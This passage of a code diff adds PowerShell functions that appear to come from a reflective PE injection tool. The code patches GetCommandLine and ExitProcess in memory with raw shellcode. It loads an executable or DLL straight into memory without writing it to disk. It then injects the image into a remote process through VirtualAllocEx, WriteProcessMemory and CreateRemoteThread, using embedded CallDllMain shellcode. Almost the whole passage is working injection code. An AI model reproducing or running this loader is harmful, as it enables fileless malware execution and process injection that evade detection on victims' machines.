+ Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
2102
+ $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
2103
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
2104
+ $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
2105
+ Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
2106
+
2107
+ $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2108
+
2109
+
2110
+ #Overwrite GetCommandLineW
2111
+ [UInt32]$OldProtectFlag = 0
2112
+ $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2113
+ if ($Success = $false)
2114
+ {
2115
+ throw "Call to VirtualProtect failed"
2116
+ }
2117
+
2118
+ $GetCommandLineWAddrTemp = $GetCommandLineWAddr
2119
+ Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
2120
+ $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
2121
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
2122
+ $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
2123
+ Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
2124
+
2125
+ $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2126
+ #################################################
2127
+
2128
+
2129
+ #################################################
2130
+ #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
2131
+ # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
2132
+ # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
2133
+ # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
2134
+ $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
2135
+ , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
2136
+
2137
+ foreach ($Dll in $DllList)
2138
+ {
2139
+ [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
2140
+ if ($DllHandle -ne [IntPtr]::Zero)
2141
+ {
2142
+ [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
2143
+ [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
2144
+ if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
2145
+ {
2146
+ "Error, couldn't find _wcmdln or _acmdln"
2147
+ }
2148
+
2149
+ $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2150
+ $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2151
+
2152
+ #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
2153
+ $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
2154
+ $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
2155
+ $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2156
+ $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
2157
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
2158
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
2159
+ $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
2160
+ $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
2161
+
2162
+ $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2163
+ if ($Success = $false)
2164
+ {
2165
+ throw "Call to VirtualProtect failed"
2166
+ }
2167
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
2168
+ $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2169
+
2170
+ $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2171
+ if ($Success = $false)
2172
+ {
2173
+ throw "Call to VirtualProtect failed"
2174
+ }
2175
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
2176
+ $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
2177
+ }
2178
+ }
2179
+ #################################################
2180
+
2181
+
2182
+ #################################################
2183
+ #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
2184
+
2185
+ $ReturnArray = @()
2186
+ $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
2187
+
2188
+ #CorExitProcess (compiled in to visual studio c++)
2189
+ [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
2190
+ if ($MscoreeHandle -eq [IntPtr]::Zero)
2191
+ {
2192
+ throw "mscoree handle null"
2193
+ }
2194
+ [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
2195
+ if ($CorExitProcessAddr -eq [IntPtr]::Zero)
2196
+ {
2197
+ Throw "CorExitProcess address not found"
2198
+ }
2199
+ $ExitFunctions += $CorExitProcessAddr
2200
+
2201
+ #ExitProcess (what non-managed programs use)
2202
+ [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
2203
+ if ($ExitProcessAddr -eq [IntPtr]::Zero)
2204
+ {
2205
+ Throw "ExitProcess address not found"
2206
+ }
2207
+ $ExitFunctions += $ExitProcessAddr
2208
+
2209
+ [UInt32]$OldProtectFlag = 0
2210
+ foreach ($ProcExitFunctionAddr in $ExitFunctions)
2211
+ {
2212
+ $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
2213
+ #The following is the shellcode (Shellcode: ExitThread.asm):
2214
+ #32bit shellcode
2215
+ [Byte[]]$Shellcode1 = @(0xbb)
2216
+ [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
2217
+ #64bit shellcode (Shellcode: ExitThread.asm)
2218
+ if ($PtrSize -eq 8)
2219
+ {
2220
+ [Byte[]]$Shellcode1 = @(0x48, 0xbb)
2221
+ [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
2222
+ }
2223
+ [Byte[]]$Shellcode3 = @(0xff, 0xd3)
2224
+ $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
2225
+
2226
+ [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
2227
+ if ($ExitThreadAddr -eq [IntPtr]::Zero)
2228
+ {
2229
+ Throw "ExitThread address not found"
2230
+ }
2231
+
2232
+ $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2233
+ if ($Success -eq $false)
2234
+ {
2235
+ Throw "Call to VirtualProtect failed"
2236
+ }
2237
+
2238
+ #Make copy of original ExitProcess bytes
2239
+ $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2240
+ $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
2241
+ $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
2242
+
2243
+ #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
2244
+ # call ExitThread
2245
+ Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
2246
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
2247
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
2248
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2249
+ Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
2250
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
2251
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
2252
+ $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
2253
+ Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
2254
+
2255
+ $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2256
+ }
2257
+ #################################################
2258
+
2259
+ Write-Output $ReturnArray
2260
+ }
2261
+
2262
+
2263
+ #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
2264
+ # It copies Count bytes from Source to Destination.
2265
+ Function Copy-ArrayOfMemAddresses
2266
+ {
2267
+ Param(
2268
+ [Parameter(Position = 0, Mandatory = $true)]
2269
+ [Array[]]
2270
+ $CopyInfo,
2271
+
2272
+ [Parameter(Position = 1, Mandatory = $true)]
2273
+ [System.Object]
2274
+ $Win32Functions,
2275
+
2276
+ [Parameter(Position = 2, Mandatory = $true)]
2277
+ [System.Object]
2278
+ $Win32Constants
2279
+ )
2280
+
2281
+ [UInt32]$OldProtectFlag = 0
2282
+ foreach ($Info in $CopyInfo)
2283
+ {
2284
+ $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
2285
+ if ($Success -eq $false)
2286
+ {
2287
+ Throw "Call to VirtualProtect failed"
2288
+ }
2289
+
2290
+ $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
2291
+
2292
+ $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2293
+ }
2294
+ }
2295
+
2296
+
2297
+ #####################################
2298
+ ########## FUNCTIONS ###########
2299
+ #####################################
2300
+ Function Get-MemoryProcAddress
2301
+ {
2302
+ Param(
2303
+ [Parameter(Position = 0, Mandatory = $true)]
2304
+ [IntPtr]
2305
+ $PEHandle,
2306
+
2307
+ [Parameter(Position = 1, Mandatory = $true)]
2308
+ [String]
2309
+ $FunctionName
2310
+ )
2311
+
2312
+ $Win32Types = Get-Win32Types
2313
+ $Win32Constants = Get-Win32Constants
2314
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2315
+
2316
+ #Get the export table
2317
+ if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
2318
+ {
2319
+ return [IntPtr]::Zero
2320
+ }
2321
+ $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
2322
+ $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
2323
+
2324
+ for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
2325
+ {
2326
+ #AddressOfNames is an array of pointers to strings of the names of the functions exported
2327
+ $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2328
+ $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
2329
+ $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
2330
+
2331
+ if ($Name -ceq $FunctionName)
2332
+ {
2333
+ #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
2334
+ # which contains the offset of the function in to the DLL
2335
+ $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
2336
+ $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
2337
+ $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
2338
+ $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
2339
+ return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
2340
+ }
2341
+ }
2342
+
2343
+ return [IntPtr]::Zero
2344
+ }
2345
+
2346
+
2347
+ Function Invoke-MemoryLoadLibrary
2348
+ {
2349
+ Param(
2350
+ [Parameter( Position = 0, Mandatory = $true )]
2351
+ [Byte[]]
2352
+ $PEBytes,
2353
+
2354
+ [Parameter(Position = 1, Mandatory = $false)]
2355
+ [String]
2356
+ $ExeArgs,
2357
+
2358
+ [Parameter(Position = 2, Mandatory = $false)]
2359
+ [IntPtr]
2360
+ $RemoteProcHandle,
2361
+
2362
+ [Parameter(Position = 3)]
2363
+ [Bool]
2364
+ $ForceASLR = $false
2365
+ )
2366
+
2367
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2368
+
2369
+ #Get Win32 constants and functions
2370
+ $Win32Constants = Get-Win32Constants
2371
+ $Win32Functions = Get-Win32Functions
2372
+ $Win32Types = Get-Win32Types
2373
+
2374
+ $RemoteLoading = $false
2375
+ if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2376
+ {
2377
+ $RemoteLoading = $true
2378
+ }
2379
+
2380
+ #Get basic PE information
2381
+ Write-Verbose "Getting basic PE information from the file"
2382
+ $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
2383
+ $OriginalImageBase = $PEInfo.OriginalImageBase
2384
+ $NXCompatible = $true
2385
+ if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
2386
+ {
2387
+ Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
2388
+ $NXCompatible = $false
2389
+ }
2390
+
2391
+
2392
+ #Verify that the PE and the current process are the same bits (32bit or 64bit)
2393
+ $Process64Bit = $true
2394
+ if ($RemoteLoading -eq $true)
2395
+ {
2396
+ $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
2397
+ $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
2398
+ if ($Result -eq [IntPtr]::Zero)
2399
+ {
2400
+ Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
2401
+ }
2402
+
2403
+ [Bool]$Wow64Process = $false
2404
+ $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
2405
+ if ($Success -eq $false)
2406
+ {
2407
+ Throw "Call to IsWow64Process failed"
2408
+ }
2409
+
2410
+ if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
2411
+ {
2412
+ $Process64Bit = $false
2413
+ }
2414
+
2415
+ #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
2416
+ $PowerShell64Bit = $true
2417
+ if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2418
+ {
2419
+ $PowerShell64Bit = $false
2420
+ }
2421
+ if ($PowerShell64Bit -ne $Process64Bit)
2422
+ {
2423
+ throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
2424
+ }
2425
+ }
2426
+ else
2427
+ {
2428
+ if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
2429
+ {
2430
+ $Process64Bit = $false
2431
+ }
2432
+ }
2433
+ if ($Process64Bit -ne $PEInfo.PE64Bit)
2434
+ {
2435
+ Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
2436
+ }
2437
+
2438
+
2439
+ #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
2440
+ Write-Verbose "Allocating memory for the PE and write its headers to memory"
2441
+
2442
+ #ASLR check
2443
+ [IntPtr]$LoadAddr = [IntPtr]::Zero
2444
+ $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
2445
+ if ((-not $ForceASLR) -and (-not $PESupportsASLR))
2446
+ {
2447
+ Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
2448
+ [IntPtr]$LoadAddr = $OriginalImageBase
2449
+ }
2450
+ elseif ($ForceASLR -and (-not $PESupportsASLR))
2451
+ {
2452
+ Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
2453
+ }
2454
+
2455
+ if ($ForceASLR -and $RemoteLoading)
2456
+ {
2457
+ Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
2458
+ }
2459
+ if ($RemoteLoading -and (-not $PESupportsASLR))
2460
+ {
2461
+ Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
2462
+ }
2463
+
2464
+ $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
2465
+ $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
2466
+ if ($RemoteLoading -eq $true)
2467
+ {
2468
+ #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
2469
+ $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2470
+
2471
+ #todo, error handling needs to delete this memory if an error happens along the way
2472
+ $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2473
+ if ($EffectivePEHandle -eq [IntPtr]::Zero)
2474
+ {
2475
+ Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
2476
+ }
2477
+ }
2478
+ else
2479
+ {
2480
+ if ($NXCompatible -eq $true)
2481
+ {
2482
+ $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2483
+ }
2484
+ else
2485
+ {
2486
+ $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2487
+ }
2488
+ $EffectivePEHandle = $PEHandle
2489
+ }
2490
+
2491
+ [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
2492
+ if ($PEHandle -eq [IntPtr]::Zero)
2493
+ {
2494
+ Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
2495
+ }
2496
+ [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
2497
+
2498
+
2499
+ #Now that the PE is in memory, get more detailed information about it
2500
+ Write-Verbose "Getting detailed PE information from the headers loaded in memory"
2501
+ $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2502
+ $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
2503
+ $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
2504
+ Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)"
2505
+
2506
+
2507
+ #Copy each section from the PE in to memory
2508
+ Write-Verbose "Copy PE sections in to memory"
2509
+ Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
2510
+
2511
+
2512
+ #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
2513
+ Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
2514
+ Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
2515
+
2516
+
2517
+ #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
2518
+ Write-Verbose "Import DLL's needed by the PE we are loading"
2519
+ if ($RemoteLoading -eq $true)
2520
+ {
2521
+ Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
2522
+ }
2523
+ else
2524
+ {
2525
+ Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2526
+ }
2527
+
2528
+
2529
+ #Update the memory protection flags for all the memory just allocated
2530
+ if ($RemoteLoading -eq $false)
2531
+ {
2532
+ if ($NXCompatible -eq $true)
2533
+ {
2534
+ Write-Verbose "Update memory protection flags"
2535
+ Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
2536
+ }
2537
+ else
2538
+ {
2539
+ Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
2540
+ }
2541
+ }
2542
+ else
2543
+ {
2544
+ Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
2545
+ }
2546
+
2547
+
2548
+ #If remote loading, copy the DLL in to remote process memory
2549
+ if ($RemoteLoading -eq $true)
2550
+ {
2551
+ [UInt32]$NumBytesWritten = 0
2552
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
2553
+ if ($Success -eq $false)
2554
+ {
2555
+ Throw "Unable to write shellcode to remote process memory."
2556
+ }
2557
+ }
2558
+
2559
+
2560
+ #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
2561
+ if ($PEInfo.FileType -ieq "DLL")
2562
+ {
2563
+ if ($RemoteLoading -eq $false)
2564
+ {
2565
+ Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
2566
+ $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2567
+ $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2568
+ $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2569
+
2570
+ $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
2571
+ }
2572
+ else
2573
+ {
2574
+ $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2575
+
2576
+ if ($PEInfo.PE64Bit -eq $true)
2577
+ {
2578
+ #Shellcode: CallDllMain.asm
2579
+ $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
2580
+ $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
2581
+ $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
2582
+ }
2583
+ else
2584
+ {
2585
+ #Shellcode: CallDllMain.asm
2586
+ $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
2587
+ $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
2588
+ $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
2589
+ }
2590
+ $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
2591
+ $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
2592
+ $SCPSMemOriginal = $SCPSMem
2593
+
2594
+ Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
2595
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
2596
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
2597
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2598
+ Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
2599
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
2600
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
2601
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
2602
+ Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
2603
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
2604
+
2605
+ $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
2606
+ if ($RSCAddr -eq [IntPtr]::Zero)
2607
+ {
2608
+ Throw "Unable to allocate memory in the remote process for shellcode"
2609
+ }
2610
+
2611
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
2612
+ if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
2613
+ {
2614
+ Throw "Unable to write shellcode to remote process memory."
2615
+ }
2616
+
2617
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
2618
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
2619
+ if ($Result -ne 0)
2620
+ {
2621
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
2622
+ }
2623
+
2624
